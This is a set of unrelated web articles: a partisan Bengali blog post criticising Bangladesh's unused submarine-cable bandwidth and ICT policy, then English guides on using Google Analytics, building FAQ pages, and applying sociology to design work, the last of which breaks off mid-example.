Know Bangladesh ICT Policy Past and Present - Future In your Hand

ব্যান্ডউইথ'ই তথ্যপ্রযুক্তি, তথ্যপ্রযুক্তি মানেই ব্যান্ডউইথ।একবিংশ শতাব্দীর দ্বিতীয় দশকে একটা দেশ তথ্যপ্রযক্তিতে কতটুকু ডেভলপ করেছে তা জানতে আর কোন ডাটা দরকার নেই, শুধু ঐ দেশের ব্যান্ডউইথ ইউজ ও জনসংখ্যা রেশিও দিয়েই ফুল জানা যাবে।যার মানে বর্তমান তথ্যপ্রযুক্তির অর্থনীতি- রাজনীতির এই বিশ্বে অর্থনীতি ও উন্নয়নের প্রথম ইন্ডিকেটর হচ্ছে দেশটির পারক্যাপটা ব্যন্ডউইথ কত ? তো চলুন তথ্যপ্রযুক্তিতে সর্বদা সবার পিছে পশ্চাদপদ বাংলাদেশ যে ২০০৬ সালে প্রথম সাবমেরিন ক্যবলে সংযুক্ত হয়ে তার অতীতের ক্ষতি কাটিয়ে না উঠে কি করছে ? যেখানে এর একমাত্র নীতিমালা হওয়া উচিত, কিভাবো আরও বেশি ব্যন্ডউইথ ব্যবহার করা যায়, সেই বাংলাদেশে ব্যান্ডউইথ নিয়ে কি করছে ? আজকাল মার্কেটে ১ জিবি কন্টেন্টের ভ্যাট সহ প্রায় ৪০০/- টাকায় বিক্রি হয় -গ্রামীনফোন ইন্টারনেটের পি-6 প্যাকেজে।আরএক প্যাকেজে ৩ এমবি কন্টেন্ট এর দাম ৯/- টাকা, অন্যএক প্যাকেজে ৯৯ এমবি ৯৯/- টাকা - গতি অবশ্যই সর্বদা সমান, ৫ কেবিপিএস।রেইটগুলো উল্লেখ করার কারন, সামান্য এক এমবি, এক জিবি নেট কন্টেন্টের জন্য দেশের সাধারন মানুষকে কত টাকা খরচ করতে হয় তার সম্পর্কে দৃষ্টি আকর্ষন করতে।

এই যে, এত যে মূল্যবান ও প্রয়োজনীয় এই ব্যান্ডউইথ, বর্তমান যুগে অন্ন বস্ত্র বাসস্থানের পরেই ব্রডব্যান্ড হবে জনগণের মৌলিক চাহিদার একটি, তাকে বুঝে, না বুঝে আমাদের রাষ্ট্রীয় নীতি নির্ধারকরা কি রকম হাস্যকর অব্যবস্থাপনায় রেখেছে তা দেখলে, আমি শিওর হাসতে হাসতে আপনার লুঙ্গি খুলে যাবে।গত ২০০৯ সালের মার্চ মাসে বাংলাদেশ সাবমেরিন ক্যবলের কোম্পানীর ওয়েবসাইটের এক নটিশে দেখেছিলাম - বাংলাদেশ ২০০৬ সালের মে মাসে ৭ জিবিপিএস ব্যান্ডউইথ নিয়ে সিমিউই-৪ সাবমেরিন ক্যবলে প্রথমবারের মত যুক্ত হয়ে, ২০০৭ সালের ডিসেম্বরে ১ম আপগ্রেডেশনের মাধ্যমে ২৪ জিবিপিএস ও ২০০৮ সালে ডিসেম্বরে ২য় আপগ্রেডেশনে এই সংযোগে ৪৫ জিবিপিএস ব্যান্ডউইথ অর্জন করে।সেখানে আরও উল্লেখ ছিল, ডিসেম্বর ২০০৯ এ এই ল্যান্ডিং স্টেশনে ৩য় আপগ্রেডেশন করা হবে যেখান আরও ১১০ জিবিপিএস যুক্তু হবে। আরও ছিল, ঐ মুহুর্তে সারাদেশে ১০ জিবিপিএস ব্যান্ডউইথ ব্যবহার হচ্ছে এবং বাড়তি ব্যান্ডউইথ সরকার ২০১৩-১৪ সাল পর্যন্ত চাহিদার কথা বিবেচনা করে সংরক্ষণ ও রপ্তানী করার চিন্তা ভাবনা করছে।কত বড় ইডিয়ট চিন্তা করুন ? আপনি বিষয়টি বুঝলে অবশ্যই মাথার চুল ছিরতে ইচ্ছা করবে ? পরবর্তী আরেক নোটিশে দেখা যায় দেশে এখন ১৫ জিবিপিএস ব্যবহার হচ্ছে, এই মুহুর্তেও তাই।

তাহলে আমরা গত ৩ বছর ধরে কি করে আসছি ? মাত্র ১৫ জিবিপিএস ব্যান্ডউইথ ব্যবহার করছি আর বাকি ৩০ জিবিপিএস ব্যান্ডউইথের কি হইলো ? কোন ব্যাংকে জমা আছে ? ব্যান্ডউইথ কি বিদ্যুৎ নাকি, যে মোবাইলের ব্যাটারী চার্জ দিয়ে ল্যাপটপ চার্জ দিয়ে কিছু রেখে দিবেন ? তারমানে অব্যবহৃত রাখছি ? - ব্যবহার করিনি, মানে ফেলে দিয়েছি ? এক সময় শুনতাম, আমেরিকা নাকি তার উৎপাদিত বাড়তি গম সমুদ্রে ফেলে দিত - বাংলাদেশ কি ইন্টারনেট ব্যান্ডউইথে সে পর্যায় চলে গেছে ? বলেন কি ? দঃকোরিয়া বাংলাদেশের অর্ধেক জনগণ নিয়েও এই মুহুর্তে কত ব্যান্ডউইথ ব্যবহার করছে, জানেন ? ১১ টি ক্যবলে দঃকোরিয়া এই মুহুর্তে ২৫ টেরাবিট/সেকেন্ড বা ২৫০০০ জিবিপিএস ব্যবন্ডউইথ ব্যবহার করছে।আর আমরা ১৬ কোটি জনগণের বাংলাদেশ মাত্র ৪৫ জিবিপিএস এর মধ্য ৩০ জিবিপিএস ফেলে দিচ্ছি !!!! চলুন তো এই ফেলে দেয়া পরিমানটার বাজার মূল্যটা একটু দেখি! সাবমেরিন ক্যবলে গত ৩ বছরে (৩০ x ৬০ x ৬০ x ২৪ x ৩৬৫ x ৩) ভাগ ১০০০ = ২৮,৩৮,২৪০ টেরাবিট বা প্রায় ৩০ লক্ষ টেরাবিট কন্টেন্ট অব্যবহৃত ছিল।এখন প্রতি জিবি ১০০/- টাকা করে ধরলেও এই ক্ষতির আর্থিক পরিমান ২৮,৩৮,২৪০ x ১০০ x ১০০০ = ২৮৩,৮২,৪০,০০,০০০ টাকা বা প্রায় ৩০ হাজার কোটি টাকা।

আচ্ছা বলুনতো, সাবমেরিন ক্যবল সংযোগের আগে অর্থাৎ ২০০৬ সালের আগে, বিটিসিএল এর তত্ত্ববধানে হংকং থেকে রেডিও লিংকে ভিস্যাটের মাধ্যমে যতটুকু ব্যান্ডউইথ লিজ নেয়া হতো আমরা কি তার সবটুকু ব্যবহার করতাম ? অবশ্যই ইউজ করতাম, কারন জনগণের টাকায় কেনা ব্যান্ডউইথ জনগণ ব্যবহার না করার কোন যুক্তি বা সুযোগ নেই, এটা খুব সহজ হিসাব, এটা ভিষন অন্যায়, আর বাংলাদেশের মত দেশের জন্য মহাপাপ।ব্যান্ডউইথ এমন কোন জিনিষ না যে তাকে এখন ব্যবহার না করে ভবিষ্যতের জন্য সরক্ষন করা যায় বা কিছু ব্যান্ডউইথ ভবিষ্যৎ চাহিদা মেটানোর জন্য রেখে দেয়াও নির্বুদ্ধিতা।পৃথিবীর কোন দেশ এই কাজটা করে না।কোন দেশের যদি একটা না, দশটা সাবমেরিন ক্যবলও থাকে তাহলেও তার সবটুকু ব্যান্ডউইথই ইউজারদের জন্য এ্যালোকেট করে। দেশে দেশে ব্যান্ডউইথ নিয়ে যা করা হয়, তা হলো হাজারো রকমের পলিসি করা, মূল্য, প্যাকেজ, ফ্রী, গতি ইত্যাদী ক্যাটাগরি করে কিভাবে আরও বেশি ব্যন্ডউইথ ইউজ করা যায় ও ইফিসিয়েন্ট ইউজ করা যায় সেই লক্ষ্য সামনে রেখে।

আর আমরা বিশ্বে সবশেষ দেশ হিসাবে সাবমেরিন ক্যবলে যুক্ত হয়ে গত ৩ বছর ধরে দুই-তৃতীয়াংশ ব্যান্ডউইথ অব্যবহৃত রেখে জনগণকে তাদের প্রাপ্য থেকে বঞ্চিত করলাম।একটু খেয়াল করে দেখেন, আমরা গত ৩ বছরে আপনার যে ডিজিটাল অগ্রগতি হয়েছেন বলে আপনি আস্ফালন করেন, তার পরিমান কিন্তু অব্যবহারের অর্থেক বা ১৪,১৯,১২০ টেরাবিট'ই।এইটুকু কন্টেন্টই বাংলাদেশ গত ৩ বছরে আপলোড ও ডাউনলোড করেছে।আজ নেটে সার্চ দিয়ে যা বাংলার কন্টেন্ট পান তা এরই অংশ -৩ বছর বাংলাদেশ এটুকুই দক্ষতা ও অভিজ্ঞতা অর্জন করেছে।যদি এই ব্যবহারের পরিমান ৪২,৫৭,৪০০ টেরাবিট হতো তাহলে আজ আরও এত পরিমান নেটে আপলোড/ডাউনলোড হতো নাকি ? এতে আপনার উন্নতি কি কম হতো, না বেশি ? আপনি জানেন কি আজ পর্যন্ত ভিয়েতনামের কন্টেন্ট অভিজ্ঞতা কয় শত কোটি টেরাবিট ?

এবার আর একটি মজার কাহিনী দেখুন, প্রধানমন্ত্রী থেকে শুরু করে আজ আওয়ামী লীগের ওয়ার্ড সভাপতিরাও মাইকে গলা ফাটায়া বলেন, ১৯৯৪ সালে বিএনপি সাবমেরিন ক্যবলে সংযুক্ত না হয়ে বাংলাদেশের সর্বশ্রেষ্ঠ ক্ষতিটি করেছে - এই কথা শুনে গর্ধপ টেলিযোগাযোগ মন্ত্রী থেকে শরু করে ঢাবির ভিসি পযন্ত হাত তালি দেয়।চলুনতো সে সময়ের ক্ষতির পরিমানটি টাকা ভ্যালুতে দেখি! কি বলেন ? সে সময় সাবমেরিন ক্যবল না থাকলেও আমারা ভিস্যাটের মাধ্যমে আনা নেট ইউজ করেছিলাম।যার পরিমান সর্বোচ্চ কয়েক এমবিপিএস থেকে ২০০৬ সালে এসে সর্বোচ্চ ৫০০ এমবিপিএস ছিল।ততকালীন সিমিউই-৩ ক্যবলে, ১৯৯৪ সালে বাংলাদেশ সংযুক্ত হলে ২০০৬ পর্যন্ত আপগ্রেড করে সর্বচ্চ ৫০০ এমবিপিএস থেকে ২ জিবিপিএস পর্যন্ত ব্যান্ডউইথ পেতো। তাহলে ১২ বছরে বিএনপি ক্ষতি করেছে সর্বোচ্চো ৩,৭৮,৪৩২ টেরাবিট কন্টেন্ট। সুতরাং দেখা যায় বর্তমান সরকার ৩ বছরেই সেই সময় বিএনপির করা ক্ষতির ৯ গুন বেশি ক্ষতি করেছে।

এখানেই শেষ নয়, সেদিন ডাক ও টেলিযোগাযোগ মন্ত্রী এক অনুষ্ঠানে জানালেন, গত বছর অক্টবর মাসে আমাদের সাবমেরিন ক্যবল তৃতীয় আপগ্রডেশনের মাধ্যমে মাত্র ৫০ কোটি টাকা খরচ করে ৪৫ জিবিবিএস থেকে ১৬৪ জিবিপিএস সংযোগে উন্নিত হয়েছে।তার মানে গত ৩ মাস যাবৎ ব্যবহার করছি ১৫ জিবিপিএস আর অব্যবহৃত রাখছি ১৫০ জিবিপিএস -হায়হায়হায়।এটাও কিন্তু ঠিক না, আরও আছে, এই যে তৃতীয় আপগ্রেডেশনটি তা সিডিউল মত হওয়ার কথা ছিল ২০০৯ সালে ডিসেম্বর মাসে।এরপর ২০১০ সালে ও ২০১১ সালের আপগ্রেডেশন এই ক্যবলটি আজ তার সর্বশেষ ১.২৮ টেরাবিট ব্যন্ডউইথে উন্নিত হয়ে গেছে।শ্রীলাংকার'ই এই একই ক্যবলে ১ টেরাবিট ব্যন্ডউইথ আছে আজ।এরপর এক সময় ক্যাপাসিটি কমে কমে তাড়টি রিজেক্ট হবে। তাহলে দেখেন ৩ বছরে বিএনপির কয়েকশ গুন বেশি ক্ষতি করেছে ? তাই বলছিলাম ১৯৯৪ সালে সাবমেরিন ক্যবল মাথায় না দিয়ে বিএনপি যা ক্ষতি করেছিল, গত ৩ বছরেই আওয়ামী লীগ তার ৩০০ গুনেরও বেশি ক্ষতি করেছে -হিসাব সহ দেখাইয়া দেওয়া যাবে -শুধু দেশের শিক্ষিত-মূর্খরা বুঝবে না এই যা, কারন এরা সব টিউব লাইট, তাই সরকারের প্রতিটি মাইর এদের বুঝতেই ৫ বছর লেগে যায়।

তারপরও আমরা আশা রাখি একদিন সময় থাকতেই আমরা বুঝব, সেদিন প্রথমেই এদের প্রত্যেকটার দপ্তরের চেয়ারের পেছনের অর্নার বোড থেকে নাম ঠিকানা নিয়ে এদের খুজে বের করবো!!!!! দেশের তথ্যপ্রযুক্তির ভবিষ্যৎ খুবই ভয়ংকর অবস্থার মধ্যে দিয়ে পার করছে।সঠিক সময়ে আপগ্রেডেশন করে সিমিউই-৪ ক্যবলে যত কম মূল্যে আমরা টেরাবিট ব্যান্ডউইথ পাব তা যদি এবার মিস করি তাহলে আর রক্ষা নাই।আবার হাজার কোটি টাকা খরচ করে এই ফ্যামেলির পরবর্তী ক্যবলে সংযোগ নিতে অনেক দেরী তারপর আবার কম ব্যান্ডউইথ দিয়ে শুরু করে গ্রেজুয়ালী আপগ্রেড করতে হবে।যেমন দেখুন ২০০৬ সালে ৮৫০ কোটি টাকায় মাত্র ৭ জিবিপিএস ব্যান্ডউইথ পেয়েছিলাম আবার একই ক্যবলে ২০০৯ সালে আপগ্রেডে মাত্র ৫০ কোটি টাকায় ১১০ জিবিপিএস যোগ হয়ে হয়েছে ১৬৫ জিবিপিএস।১৯৯৪ সালে সংযোগ না নিয়ে আমরা যে ক্ষতি করেছি সেটা তেমন ক্ষতি ছিল না, কারন চাহিদা কম থাকায় ভিস্যাটেই তা সম্ভব ছিল কিন্তু বর্তমান গিগাবিট গতির বিশ্বে এবারের ক্ষতি ২০২৫ সাল পর্যন্ত পঙ্গু করে দেবে আমাদের।এই ক্যবলে অলরেডি দুই বছর ড্রপ মারছেন।এই ক্যবলে যদি ক্যবলের সর্বোচ্চ ব্যন্ডউইথ না ধরতে পারেন তাহলে আপনাদের শেষ রক্ষাও হবেনা।তখন ভারত থেকে টেরেস্টারিয়াল লিংকে প্রতি জিবি ৫০ কোটি হারে নিলেও দেশকে বাঁচাতে পারবেন না।একটা কথা বলি, আপনাদের মাথায় না ঢুকলেও ধরে নেন অক্সিজেন ছাড়া মানুষ বাঁচলেও ভবিষ্যতে সভ্যতা অর্থনীতি ব্যান্ডউইথ ছাড়া বাঁচবে না।

একবার ভেবে দেখেছেন, এখনই আমরা বলছি দেশে দুই কোটি নেট ইউজার আছে ১৫-২০% আরও আওয়াজ দিচ্ছি ২০১৫ সালের মধ্যে লক্ষ্য ৪৫% পেনিট্রেশনের, কিছু বোঝেন ? এই হিসাবে মুহুর্তেই বর্তমান নেটওয়ার্কেই বাংলাদেশের অন্তত ৪০০ জিবিপিএস ব্যান্ডউইথ ব্যবহার করার কথা ছিল।আর ৩জি করার পর এই দুই কোটি ইউজারকে ডেডিকেটেড ৫ এমবিপিএস দিতেও যদি ১ লক্ষ জিবিপিএস লাগে তাহলে সর্বচ্চ কোন ফর্মুলায় শেয়ার করে আপনি ১০০০ জিবিপিএস বা ১ টেরাবিটের নিচে ব্যান্ডউইথ দিয়ে ৫ এমবিপিএস গতির লোয়েস্ট থ্রীজি দিতে পারবেন ? হিসাব করে নীতিনির্ধারকদের দেখাতে বলেন ? অথচ এই মুহুর্তে আপনার আছে মাত্র ১৬৫ জিবিপিএস।আবার ব্যবহার করছেন ১৫ জিবিপিএস, আহাম্মক কোনহানকার।

অথচ গত তিন বছর ধরে বাংলাদেশের ইন্টারনেটের গতি নিয়া কি করা হচ্ছে তা এই পোষ্টে দেখুন। বাংলাদেশে ইন্টারনেট আছে নাকি, কি বলেন ? গতি কই ?

এইদিকে কম্পিউটার বিজ্ঞানী সজিব ওয়াজেদ জয়ের টাইট-ইন্টারনেট + পাগলা দোয়েল = শেখ হাসিনার টাল-বাংলাদেশ।

আর বিএনপির কথা বলবেন খালেদা জিয়া চিটাগাংয়ের ভাষনে জাতিকে সব দিয়া কুইট্টালাইলেও, ইন্টারনেট, থ্রীজি বন্ধের পূর্বাভাস দিলেন।

৩ বছর পূর্তিতে প্রধানমন্ত্রী আজ জাতীর উদ্দেশ্যে ভাষন দিয়েছেন - ডিজিটাল বাংলাদেশ অংশ।

ডিজিটাল বাংলাদেশ ৩ বছর খতিয়ান - খুবই গুরুত্বপূর্ন।

ড্রাফ্ট চলছে।এতো গেল মাত্র ১০% কামের খতিয়ান, ডিজিটাল বাংলাদেশের আরও অন্তত ৫০টা ইস্যূ আছে, আসছে, সাথে থাকেন, শেয়ার করেন, স্টিকি করার দাবী তুইলা লাভ নাই সামু কেন কোন মিডিয়াই সরকারের এই তথ্যটি প্রকাশ করার সাহস পাবে না।তাই পোষ্টটি নেটে হাজার হাজার শেয়ার দেন।আমি কথা দিচ্ছি দেশের তথ্যপ্রযুক্তি নিয়া প্রতিটি ষড়যন্ত্রের আপডেট দিব এই পোষ্টে।

ভাবছেন যেই বিষয়টি নিয়ে কারও মিনিমাম সচেতনতা নেই আমি কেন এত সিরিয়াস ? কারন আমি বিশ্বাস করি- তথ্যপ্রযুক্তি ছাড়া বাংলাদেশের আর কোন সমাধান নাই, আবার এই বিষয়েই দেশটি বিশ্বে সবচেয়ে পশ্চাদপদ, ভবিষ্যৎ পৃথিবীতে তথ্যপ্রযুক্তি ছাড়া একটা দেশ হয়ে পরবে সবচেয়ে অযোগ্য।আমি আরও বিশ্বাস করি, শুধু সঠিক নীতির মাধ্যমে ডিজিটাল বাংলাদেশ করা বিশ্বের অন্য যেকোন দেশের চেয়ে সহজ - বলতে পারেন এটা জাতির সৌভাগ্য, সৃষ্টিকর্তার আশির্বাদ।

পোষ্টটি যত পারেন শেয়ার করবেন, কারন সামু কেন কোন মিডিয়ার সাহস নেই এটি স্টিকি করে।অথচ দেশের এই অসহায় করুন চিত্র অন্তত দশ লাখ লোকের পড়া উচিত।

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How to use Google Analytics to Drive more Traffic to Your Website

There are probably thousands of articles on the web talking about Google Analytics, such as how to use the free reporting tool, how to set up Google Analytics for your website, and what Google Analytics reports you can take advantage of. This is all great information, especially for novice website designers. What I think is missing is the most critical piece of information, which is “How do I analyze these Google Analytics reports in order to actually make impactful changes to my website?” In this article we are going to answer that question, as well as, provide you with some examples of taking certain data from Google Analytics, analyzing it, and then using it to make changes to your website and/or website marketing.

Tools like Google Analytics allow you to check your website traffic data as frequently as you’d like. I definitely recommend keeping an eye on your Google Analytics reports daily or weekly. With that said, we all know that checking your reports and actually taking time to analyze them are two different tasks. This is why I recommend that every website owner take a full day each quarter to analyze their reports and implement any needed changes to their website based on what the data is showing.

It’s easy to get lost in Google Analytics. There is SO much data that you can analyze. Not only is there a ton of data, but the ways in which you can slice it up seem almost endless. Every website owner is going to have different reports to focus on, but there are a few main data points that all website owners should be aware of during their quarterly reviews:

Traffic Sources – Keywords: Knowing which keywords are driving the most quality visitors to your website is crucial. You can begin optimizing more of your website around these keywords in order to capitalize on those searches.Traffic Sources – Referring Sites: Understanding which websites are sending the most quality traffic to your website will allow you to focus more effort and time on those sites, and less of your time on under performing websites, moving forward.Visitors

Overview: How much of your website traffic is new visitors versus returning visitors? Knowing this might help you phrase content different or run certain marketing programs geared towards one type of visitor versus the other.Content Overview – Top Pages: Having an idea of what pages are performing best will tell you what content your visitors are interested in. Produce more of that!

Visits: What days do you have the most traffic to your website? Knowing what days visitors are coming to your website allows you to publish new content or launch promotions on those days in order to capture the most attention.

Now that we have an understanding of some of the most important reports to analyze for your website, let’s dig into each of them to provide examples on how you can use the data to make real impactful changes to your website and website marketing.

Knowing which keywords to optimize your website with is crucial in attracting the right visitors. Here’s how you can utilize the Keyword reports in Google Analytics:

Go into the Traffic Sources Overview section of Google AnalyticsFind your Top ten performing keywords and make a list of those keywordsGo back through your website and begin infusing them into your website contentUse them as anchor text for your URLsName your images with your top ten keywordsAdd title tags and Alt tags to your images using your top ten keywordsCreate a list of new blog topics that you want to write about and be sure to infuse your top ten keywords into those articles

By analyzing your Traffic Sources – Keywords report and following the steps above you will significantly increase your website traffic for those specific keywords.

Once you have completed this first main Keyword optimization during your Quarterly review, go BACK through your Keyword report and sort the results by Average Time on Site. Find five keywords that might not be driving a lot of traffic to your website right now, but the traffic that is coming to your site from those keywords tends to spend a lot of time on your site. These are your “growth keywords”. Repeat the steps above using these keywords to see if with a little more use throughout your website they can produce more traffic.

Knowing which websites (or social media channels) around the web that are referring the most traffic to your website is critical. As a website owner you only have so much time in the day to market your site. It’s best to use that time wisely. Follow these steps in order to analyze your traffic sources and make impactful changes to your website marketing:

Go into your Traffic Sources report within Google Analytics and review the Top Referring Sites dataAsk yourself, are these the websites that I assumed would be near the top? Are these the websites I’m spending the most time using in order to drive traffic to my website?Start trying to figure out why some sites are near the top of this list, while others are near the bottom. Perhaps one of the websites near the top is a site that you recently wrote a guest blog article for. Contact the owner of that site and see if you can write another article for them.Is LinkedIn outperforming Facebook? If so, you may want to tweak the amount of time you spend on both social media sites, with more time being devoted to LinkedIn next quarter instead of Facebook. This strategy can be repeated for all social media sites that you use.Is Banner Ad ‘A’ outperforming Banner Ad ‘B’? If so, perhaps you want to cancel Banner Ad ‘B’ and ask for more space on the website that’s hosting Banner Ad ‘A’.Is there a website that you don’t recognize that’s currently sending a lot of traffic to your website? Reach out to the owner of that website and see if you can partner with them in some way in order to capitalize even more on all of the traffic they are sending your way.

Using the Referral Sources report in Google Analytics will help you become more efficient with your marketing time and more effective at driving traffic to your website.

Analyzing your Visitor Profile through the Visitors Overview report in Google Analytics will let you know how much of your traffic is composed of ‘New Visitors’ and how much of your traffic is composed of ‘Repeat Visitors’. You want to encourage new visitors to become return visitors, as well as, continue to attract even more new visitors. Here are a few ways that you can take your data from the Visitors Overview report and actually use it to improve your website:

Post some sort of a ’Thank You’ message somewhere prominent on your website for returning visitors OR send out the periodic ‘Thank You’ email to your email list just letting your supporters know you appreciate them.Do you have an e-Commerce website? Give repeat customers a discount on their next purchase.Create a ‘FAQ’ page to help new visitors quickly understand your website and how to use itMake the ‘Contact Us’ page as prevalent as possible in case new visitors have questions and need to contact youCreate a survey for returning customers to capture information that you think will help you provide more value to them in the futureRun a contest to encourage new customers to get engaged with your website/brand

Understanding what content is resonating with your visitors will help you come up with new content topics for the next quarter.

Go into the Content Overview section of Google Analytics and navigate to the Top Pages reportFind the top 5-6 pages visited over the past 3-6 monthsThink about what information is displayed on each of those pages and determine what information the majority of your visitors are looking forDevelop a Content Plan for the next quarter, comprised of topics that you think are most relevant based on your findings above. A few ideas might be:Write blog articles around popular topicsFocus social media efforts in promoting those top pages or discussing those top topicsWrite an eBook expanding on some of those topics that your visitors are finding valuableShoot YouTube videos around those topics and embed them into your Top Pages

Producing more of the content that your visitors are finding valuable will keep them coming back, get them to share your website with their friends, and attract new visitors.

Are the weekends a popular time for your website or do most people visit your website during the week? Knowing what days are high traffic days for your website and what days are low traffic days for your website allows you to be much more strategic in regards to publishing new updates to your website. By analyzing the Visits report in Google Analytics you can see which days seem to generate the most traffic. Make a list of your high traffic days and then start taking advantage of those high traffic days in the following ways:

Publish blog articles on those daysBegin and end contests on high traffic daysSpend time on social media during those daysPublish events to your websiteMake architecture or functionality updates on low traffic days

Knowing when, and when not to, publish new information to your website can drastically alter the number of views your new updates receive. Be smart about when you publish new content, news, events, etc. Use the Visits report in Google Analytics as your guide.

Google Analytics is great. The website data provided by Google Analytics can help website owners learn a ton about their website. With that said, unless website owners take time to review and analyze their reports on a regular basis, and then take time to use that data to make changes to their website, they are missing out on the biggest advantage that Google Analytics provides. Google Analytics provides you with a blueprint for giving your visitors what they want, when they want it. Be sure to take advantage of that.
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How To Create An Effective FAQ For Your Website

Frequently Asked Questions is a good section to have in your website. They give users a chance to figure out things by themselves instead of wasting resources (both yours and theirs) with a 1-to-1 conversation (chat, Skype, messenger and so on).

But FAQ’s are a different type of content. Just like search and sitemap, it has its own particularities and things that you can do to improve user experience. You have to keep in mind, for instance, that users don’t go to FAQ pages, you have to lead them there.

Here we’ll see a couple of thoughts about it, good practices, inspiration and tools.
So, let’s rock!

Ok, first thing you need to keep in mind: Users don’t read on the web. They scan the page trying to find main keywords about something that may be important to them (just like 90% of you are doing right now). So use good headlines and questions keywords, avoid clichés and keep them short.
If you can, outline main keywords, like searched terms, or main topics.

For a long time FAQs have been misused, instead of real and relevant content, companies put questions they “wished” users would ask (WAQ, Wished to be Asked Questions).

It’s very important to put users needs first, just cover topics that are really important to them. Otherwise it’ll be just another page trying to hide the solution from them. Which, by the way, won’t solve the problem at all, leading to future problems, like unnecessary support requests, or lost sales.
People don’t go looking for FAQs. It’s not a common workflow thinking “Hey, I need to know about their refund policy.. Let’s go to FAQ”. Sounds strange, huh?

So you have to interlink it wisely in places where users may need help. Like using them along with search pages. Or using them as a “wall” before chat with real attendants: Ask the user what kind of problem they have, then suggest a few FAQ searched items based on the users keywords.

FAQ are great to provide complete answers, but if you just want to tell users how features work, or which type of data they should put in a registration form just go with tooltips or something like that.
Oh, and don’t forget to make it easy and mobile friendly, or in other words, don’t use just a simple hovering element or title attribute. You may use a plugin or add it as a plain text right above your field or button.

I know I’m saying that it’s important, but it has its place in websites. It’s a good idea for sales websites, services, apps… But if you have a simple blog or simple company website, just create an “about” page and you’ll be fine.

Have you ever thought about it? If you have a single page with good keyword density about your product and link it in several places inside your website, it can be a really good landing page.
So, think carefully about it, it may lead a lot of users to your website.

Again, Keep It Simple, Stupid my friend .You don’t need to clarify every single question that may pop up about your product. You may categorize questions (if you have a huge amount of them), show content just when users need it.

Just keep in mind that landing page idea, you have to talk about the most main topics and solve users problems fast, if not they will just leave website.

Like I said above, you may hide content by default and just show it when a user wants/requires it. You can use, for instance, jQuey Collapsible panels plugin and create dynamically collapsible panels. You can also use jQuery accordion plugins.

Another good thing to do, is add a “Table of contents” with smooth scrolling, so users can reach what they want easily and with a pretty cool effect.

You may use smooth scrolling scripts or something like LocalScroll so you’ll get a better organized and easier to use FAQ page.

Well, Matthew Corner wrote a tutorial with smooth scrolling, table of contents and good looking, and you can just download and edit it to better fit your needs.

Although many people use simple headings (h2,h3) for questions and paragraphs for answers, I think that it’s much more semantically correct using definition lists for them. So you may use definition title(s) and definition description(s) to wrap them up accordingly.

Another option, really good one actually, is to use the

HTML5 element, which gives you those good looking collapsible panels by default (with browsers that support it, of course).

Paypal uses a really good system where users can see their FAQ or search by keywords, as well.

It pretty common to have users asking you really dumb questions. Don’t get me wrong, but sometimes they could easily find the answer themselves, if we gave them a chance.

Did you know that we have a tool for FAQ development? Pretty cool, huh? It’s called FAQme, and worth trying!

If you’re more of a social company, why not use a tool that integrates questions and people? Well, I’ve seen a couple of (young) companies using FormSpring as a simple way to answer real questions and let them be easily accessed by other clients


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Can Sociology Improve Your Designs?

An artist is a creative who creates to satisfy their own aesthetic pleasure, unconcerned with the wants and needs of others. However a designer is a creative who creates in hopes of satisfying the wants and needs of others with their art, casting aside their own individual creative desires. This is an important fact to always keep in mind for any professional in the creative field, because quite often we tend to forget that we make our living creating art that MUST be found appealing to others and not just ourselves. Of course for any person with creative talent this is a major downside, but that is what we sign up for when taking on the designer role. Now, what does sociology have to do with any of this?

Whether graphic designer, web designer, user interface designer, or any other profession that ends in the word designer, your job is to make art that others will enjoy. This logic behind this creative industry goes hand in hand with the principles of sociology, and corresponds with what the career sociologist does everyday in their respective field. To get a better understanding of the relationship of sociology and design, let’s first take time to understand exactly what sociology is.


Sociology can be best described as a broad study of the people, culture, living environment, and any other factor that may have the potential to shape someone into the person they are. This easily being summarized into one word, society. Now one can read that description and come to a conclusion that the approach of using sociology as a designer, is quite the same approach as using the well discussed psychology.  In a respective comparison between the two studies, psychology is better defined as the study of the mind and sociology more so a study of the society (people, location, culture, experiences, etc.) that shapes a particular person may be apart of.

To get a good grasp on Sociology, the only real way is to sit down and take the time to learn. Of course we all don’t have the time to do that, so we are going to look at a few Sociological principles that I personally always try to remember.

The culture of my target audienceThe age range of my target audienceThe social status of my target audienceThe geographical region of my target audienceThe current social changes(technology, cultural movements, political changes, etc.) taking place

In the introduction of this article, the idea that a designer’s main duty in their profession is to create art that is understood and appreciated by their audience.  While giving a brief overview of what sociology is, we learned that it is the study of societies and different social groups. The question presenting itself to us now is how do these two correspond with one another? Take a second, or minute if you must, and think about it. There is no rush, nobody is judging your reading and comprehension speed :).

All poorly attempted jokes aside, the career of a designer and the social science of sociology are a perfect fit together. Instead of presenting a  thoroughly descriptive explanation of sociology, we’re going to save that for a proper course and/or professor and look at a few common cases that showcase where a knowledge of sociology would be beneficial.

You are an American freelance web designer who has never set foot outside of the States. The only information you have about other countries is what you remember from school history classes, the little bit of news you read online, and a few TV shows and movies you like. Despite this, you are presented with a project from the Sudan’s Olympic football (soccer in America) club to design and develop their website. They give you creative freedom to do as you please, and their only request is that you make sure to embody cultural aspects of the Sudan in your design.

The Problem: The issue the web designer has here is that they have no idea about the culture of the Sudan, what interests the people, and how they like to be presented.

How Sociology Helps: The main concept taught when one is first entering into sociology is how to properly study, and understand the cultures of another society. By going over the basic structure of what makes up a society, what influences a society, and what procedures and customs are common to a particular society. If this said web designer in this situation were to have knowledge of sociology, they wouldn’t have nearly as difficult a time producing a work of quality for their Sudan client.
You are a graphic designer who specializes in creating graphics for promotional purposes. Your typical client is a company looking to promote a new product they are trying to introduce to a more adult audience. A new client approaches with a great project that really interests you, the only issue is that the client is asking you to create graphic work for a product being targeted at preteens.

The Problem: Throughout your career, you have always done projects whose key demographic was an adult audience. You have never even worked on anything aimed at teenagers, let alone preteens. To make this more difficult, you are well beyond the years of the preteen.

How Sociology Helps: One of the topics discussed in sociology is test groups. A test group is a controlled experiment consisting of different types of people in the demographic you are trying to reach. In this instance, the test group would be composed of preteens of  various social and economic backgrounds. If done correctly, based on the desired size of the test group, the graphic designer in this case would have selected a good diverse group of preteens and will have the knowledge of the proper questions to ask in a test group experiment.

You are a designer who specializes in working with musicians, bands, and other types of musical acts. Because of your affinity for Pop music, and your tendency to spend most of your time with those infused in the Pop culture, your clients are all musical acts of the Pop genre. One day you get approached by a Gothic band who plays Punk Rock.

The Problem: Unlike your usual clients, you have no idea how you can correctly approach this project. In this case you can’t use your own personal style or knowledge of the clients culture to create something of quality, simply because you are not personally interested in their culture.

